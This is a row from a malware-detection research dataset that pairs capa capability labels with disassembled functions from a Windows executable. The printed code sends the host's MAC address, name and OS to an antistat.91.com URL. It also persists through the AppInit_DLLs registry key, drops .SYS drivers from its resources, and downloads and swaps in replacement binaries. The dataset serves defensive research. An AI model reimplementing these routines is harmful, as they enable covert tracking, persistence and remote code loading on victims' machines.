joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405370
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42bee4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push esi
push edi
lea eax, [esp + 0x18]
xor esi, esi
push eax
mov dword [esp + 0x144], esi
call fcn.004052f0
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xbd]
mov byte [esp + 0xbc], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x21]
mov edx, dword [esp + 0x20]
stosw word es:[edi], ax
add esp, 4
and ecx, 0xff
stosb byte es:[edi], al
mov eax, dword [esp + 0x1b]
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x1e]
and eax, 0xff
push edx
mov edx, dword [esp + 0x21]
push eax
mov eax, dword [esp + 0x24]
and ecx, 0xff
and edx, 0xff
push ecx
and eax, 0xff
push edx
push eax
lea ecx, [esp + 0xd0]
push str._02x_02x_02x_02x_02x_02x
push ecx
call fcn.0040fb8f
add esp, 0x20
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x28], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x438dd0]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x38]
mov byte [esp + 0x140], 1
push ecx
mov ecx, dword [esp + 0x2c]
push edx
push eax
push ecx
lea edx, [esp + 0x20]
push str._d._d._d__s
push edx
call fcn.0041e043
mov eax, dword [0x438dd0]
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 8], eax
push 0x43cbcc
lea ecx, [esp + 0xc]
mov byte [esp + 0x144], 3
call fcn.00422abc
cmp dword [0x43cd50], esi
jle 0x4054e0
lea eax, [esp + 0xc]
push esi
push eax
mov ecx, 0x43cd48
call fcn.00404390
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x144], 4
call fcn.00422bfd
lea ecx, [esp + 0xc]
mov byte [esp + 0x140], 3
call fcn.00422933
push 0x43869c
lea ecx, [esp + 0xc]
call fcn.00422bc1
mov eax, dword [0x43cd50]
inc esi
cmp esi, eax
jl 0x405495
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x148]
mov eax, dword [esp + 8]
push ecx
push edx
lea ecx, [esp + 0xc0]
push eax
push ecx
lea edx, [esp + 0x24]
push str.http:__antistat.91.com_Tanqinganti.asp_MAC_sNAME_sFLAG_sOS_s
push edx
call fcn.0041e043
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x24]
push eax
push ecx
call fcn.004051b0
add esp, 0x20
lea ecx, [esp + 0xc]
call fcn.00422933
lea ecx, [esp + 8]
mov byte [esp + 0x140], 2
call fcn.00422933
lea ecx, [esp + 0x14]
mov byte [esp + 0x140], 1
call fcn.00422933
lea ecx, [esp + 0x10]
mov byte [esp + 0x140], 0
call fcn.00422933
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call fcn.00422933
mov ecx, dword [esp + 0x138]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x13c
ret

Function at 0x405590
Capabilities:
Persist via appinit_dlls registry key
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp]
push 0
push 0x4386d8
push 2
push 0
push 0x4386c8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret
Function at 0x4055e0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x42bf20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [0x438dd0]
push ebx
push esi
mov dword [esp + 8], eax
mov dword [esp + 0x28], 0
mov dword [esp + 0xc], eax
push str.gfhynrth.vir0
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 1
call fcn.004229a1
mov bl, 2
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], bl
call fcn.00422cac
mov eax, dword [0x43cd50]
xor esi, esi
test eax, eax
jle 0x405728
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x18]
push esi
push eax
mov ecx, 0x43cd48
call fcn.00404390
mov ecx, dword [eax]
lea edx, [esp + 0xc]
push ecx
push 0x4384cc
push edx
mov byte [esp + 0x38], 3
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x18]
mov byte [esp + 0x2c], bl
call fcn.00422933
lea eax, [esp + 0x1c]
push esi
push eax
mov ecx, 0x43cd48
call fcn.00404390
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push ecx
push 0x4384cc
push edx
mov byte [esp + 0x38], 4
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c], bl
call fcn.00422933
lea ecx, [esp + 0x10]
call fcn.00422cac
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
call fcn.0041dcbd
test eax, eax
jge 0x405719
mov ecx, dword [esp + 0xc]
push 0
push ecx
call edi
lea edx, [esp + 0x20]
push esi
push edx
mov ecx, 0x43cd48
call fcn.00404390
mov eax, dword [eax]
lea ecx, [esp + 0xc]
push eax
push str._sX.._
push ecx
mov byte [esp + 0x38], 5
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x20]
mov byte [esp + 0x2c], bl
call fcn.00422933
mov edx, dword [esp + 0xc]
push 0
push edx
call edi
mov eax, dword [0x43cd50]
inc esi
cmp esi, eax
jl 0x405647
pop edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call fcn.00422933
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.00422933
lea ecx, [esp + 8]
mov dword [esp + 0x28], 0xffffffff
call fcn.00422933
mov ecx, dword [esp + 0x20]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x405770
Capabilities:
Create directory
Get common file path
Move file

Disassembly:
push 0xffffffffffffffff
push 0x42bf70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov eax, dword [0x438dd0]
push ebx
push esi
mov dword [esp + 0x14], eax
xor esi, esi
mov dword [esp + 8], eax
mov dword [esp + 0x40], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], eax
push 0xff
push esi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x48], 4
call fcn.00422c15
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xc]
push eax
push 0x4384cc
push ecx
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x24]
call fcn.0041e3b4
mov bl, 5
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x2c]
mov byte [esp + 0x48], bl
call fcn.0041e447
mov edx, dword [esp + 0x2c]
push str.gfhynrth.dll
push edx
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov eax, dword [esp + 0x2c]
push str.rhdhj.dll
push eax
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov ecx, dword [esp + 0x2c]
push str.yuker.dll
push ecx
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov edx, dword [esp + 0x2c]
push str.uyjtd.dll
push edx
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov eax, dword [esp + 0x2c]
push str.dhugtj.dll
push eax
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov ecx, dword [esp + 0x2c]
push str.thef.dll
push ecx
lea ecx, [esp + 0x2c]
call fcn.0041e590
mov edx, dword [esp + 0x2c]
push str.grgrjj.dll
push edx
lea ecx, [esp + 0x2c]
call fcn.0041e590
cmp dword [esp + 0x2c], esi
jle 0x40594f
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x20]
push esi
push eax
lea ecx, [esp + 0x34]
call fcn.00404390
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s_s
push eax
mov byte [esp + 0x58], 6
call fcn.0041e043
add esp, 0x10
lea ecx, [esp + 0x20]
mov byte [esp + 0x48], bl
call fcn.00422933
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push str._sgfhynrth.vir0
push edx
call fcn.0041e043
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
add esp, 0xc
push 1
push eax
push ecx
call ebp
mov edx, dword [esp + 0x10]
push 0
push edx
call edi
lea eax, [esp + 0x24]
push esi
push eax
lea ecx, [esp + 0x34]
call fcn.00404390
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s_sW.._
push eax
mov byte [esp + 0x58], 7
call fcn.0041e043
add esp, 0x10
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], bl
call fcn.00422933
mov ecx, dword [esp + 0x10]
push 0
push ecx
call edi
mov eax, dword [esp + 0x34]
inc esi
cmp esi, eax
jl 0x405893
pop edi
pop ebp
lea ecx, [esp + 0x24]
mov byte [esp + 0x40], 4
call fcn.0041e3e7
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 3
call fcn.00422933
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 2
call fcn.00422933
lea ecx, [esp + 0xc]
mov byte [esp + 0x40], 1
call fcn.00422933
lea ecx, [esp + 8]
mov byte [esp + 0x40], 0
call fcn.00422933
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
call fcn.00422933
mov ecx, dword [esp + 0x38]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x405b30
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x42bfb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x1c]
push 0x5c
push ecx
call fcn.0040fb30
mov byte [eax], bl
mov eax, dword [0x438dd0]
add esp, 8
mov dword [esp + 0x14], eax
mov dword [esp + 0x128], ebx
mov dword [esp + 0x10], eax
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
push edx
push 0x4384cc
push eax
mov byte [esp + 0x134], 1
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x10]
call fcn.00422cac
push 0x43cbcc
push str.TQAT
lea ecx, [esp + 0x18]
call fcn.0041daa2
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push str._sTQATTQATSYS.SYS
push edx
call fcn.0041e043
add esp, 0xc
push str.TQATSYS
push 0x8c
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x405c29
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, ebx
je 0x405c29
mov eax, dword [esp + 0x14]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405c51
lea ecx, [esp + 0x10]
mov byte [esp + 0x128], bl
call fcn.00422933
lea ecx, [esp + 0x14]
mov dword [esp + 0x128], 0xffffffff
call fcn.00422933
xor eax, eax
jmp 0x405c97
lea ecx, [esp + 0x18]
push ebx
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
mov byte [esp + 0x128], bl
call fcn.00422933
lea ecx, [esp + 0x14]
mov dword [esp + 0x128], 0xffffffff
call fcn.00422933
mov eax, 1
mov ecx, dword [esp + 0x120]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x11c
ret
Function at 0x405cb0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x42bfd6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1c]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x1c]
push 0x5c
push ecx
call fcn.0040fb30
mov byte [eax], bl
mov eax, dword [0x438dd0]
add esp, 8
mov dword [esp + 0x14], eax
mov dword [esp + 0x128], ebx
mov dword [esp + 0x10], eax
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
push edx
push 0x4384cc
push eax
mov byte [esp + 0x134], 1
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 0x10]
call fcn.00422cac
push 0x43cbcc
push str.TQAT
lea ecx, [esp + 0x18]
call fcn.0041daa2
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push str._sTQATTQSTSYS.SYS
push edx
call fcn.0041e043
add esp, 0xc
push str.TQSTSYS
push 0x8d
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x405da9
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, ebx
je 0x405da9
mov eax, dword [esp + 0x14]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405dd1
lea ecx, [esp + 0x10]
mov byte [esp + 0x128], bl
call fcn.00422933
lea ecx, [esp + 0x14]
mov dword [esp + 0x128], 0xffffffff
call fcn.00422933
xor eax, eax
jmp 0x405e17
lea ecx, [esp + 0x18]
push ebx
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
mov byte [esp + 0x128], bl
call fcn.00422933
lea ecx, [esp + 0x14]
mov dword [esp + 0x128], 0xffffffff
call fcn.00422933
mov eax, 1
mov ecx, dword [esp + 0x120]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x11c
ret
Function at 0x405e30
Capabilities:
Get user security identifier

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x10]
xor edi, edi
push eax
push ecx
lea edx, [esp + 0x1c]
push edi
push edx
push edi
push ebp
push edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x405f3a
mov eax, dword [esp + 0x14]
inc eax
push eax
call fcn.0040fcca
mov ecx, dword [esp + 0x14]
mov esi, eax
inc ecx
push ecx
call fcn.0040fcca
add esp, 8
cmp esi, edi
mov ebx, eax
je 0x405f1c
cmp ebx, edi
je 0x405f1c
mov edx, dword [esp + 0x14]
xor eax, eax
mov edi, esi
lea ecx, [edx + 1]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
mov edi, ebx
lea ecx, [eax + 1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x10]
push eax
push ecx
push ebx
push edx
push esi
push ebp
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x405f09
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebp
push str.LookupAccountName_GetUserSid___s___After_Malloc_Failed:_d_n
call fcn.0040f59f
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
push ebx
call fcn.0040fbe1
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Malloc_failed:_d_n
call fcn.0040f59f
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
push eax
push ebp
push str.LookupAccountName_in_GetUserSid___s___Failed:_d_n
call fcn.0040f59f
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x406780
Capabilities:
Download url
Move file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x42c078
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
mov dword [esp + 0x2c], 0
mov eax, dword [0x438dd0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp + 0x10], eax
push 0x104
push 0x104
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 5
call fcn.00422c15
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x43cd68
lea eax, [esp + 8]
push str._sTEMP.TMP
push eax
call fcn.0041e043
add esp, 0xc
lea ecx, [esp + 8]
push 0x43cd68
push str._sDEL.TMP
push ecx
call fcn.0041e043
mov edx, dword [esp + 0x44]
add esp, 0xc
lea eax, [esp + 0x10]
push edx
push 0x43cd68
push str._s_s
push eax
call fcn.0041e043
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x44]
add esp, 0x10
push 0
push 0
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x406950
lea ecx, [esp + 0x14]
call fcn.00423da4
mov eax, dword [esp + 4]
push 0
push 0x40
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], 6
call fcn.00423eb6
test eax, eax
je 0x406942
lea ecx, [esp + 0x14]
call fcn.004241b0
cmp eax, 0x493e0
jbe 0x406939
lea ecx, [esp + 0x14]
call fcn.004240d1
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
push ecx
push edx
call esi
test eax, eax
je 0x406939
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 4]
push 1
push eax
push ecx
call esi
test eax, eax
je 0x40692b
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 5
call fcn.00423df9
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 4
call fcn.00422933
lea ecx, [esp + 4]
mov byte [esp + 0x2c], 3
call fcn.00422933
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 2
call fcn.00422933
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 1
call fcn.00422933
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 0
call fcn.00422933
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], 0xffffffff
call fcn.00422933
mov eax, 1
pop esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push 1
push edx
push eax
call esi
lea ecx, [esp + 0x14]
call fcn.004240d1
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 5
call fcn.00423df9
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 4
call fcn.00422933
lea ecx, [esp + 4]
mov byte [esp + 0x2c], 3
call fcn.00422933
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 2
call fcn.00422933
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 1
call fcn.00422933
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 0
call fcn.00422933
lea ecx, [esp + 0x38]
mov dword [esp + 0x2c], 0xffffffff
call fcn.00422933
mov ecx, dword [esp + 0x24]
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret
Function at 0x4073e0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x42c1f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push 0
push 0x438ad0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.http:__antistat.91.com_update.txt
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
call fcn.004064b0
push ecx
mov ecx, esp
mov dword [esp + 4], esp
push str.ver.ini
call fcn.004229a1
push ecx
mov dword [esp + 0x18], 0
mov ecx, esp
mov dword [esp + 0xc], esp
push str.http:__antistat.91.com_update.txt
call fcn.004229a1
mov dword [esp + 0x18], 0xffffffff
call fcn.004064e0
add esp, 8
test eax, eax
je 0x407458
call fcn.00406b50
mov ecx, dword [esp + 8]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x41d400
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040fb60
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41d4cb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41d4cb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41d47e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41d489
or bh, 8
and edi, 0x8000000
je 0x41d4a4
mov eax, dword [0x44069c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41d4cb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41d8a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41d8cb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41d8ef
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41d90a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20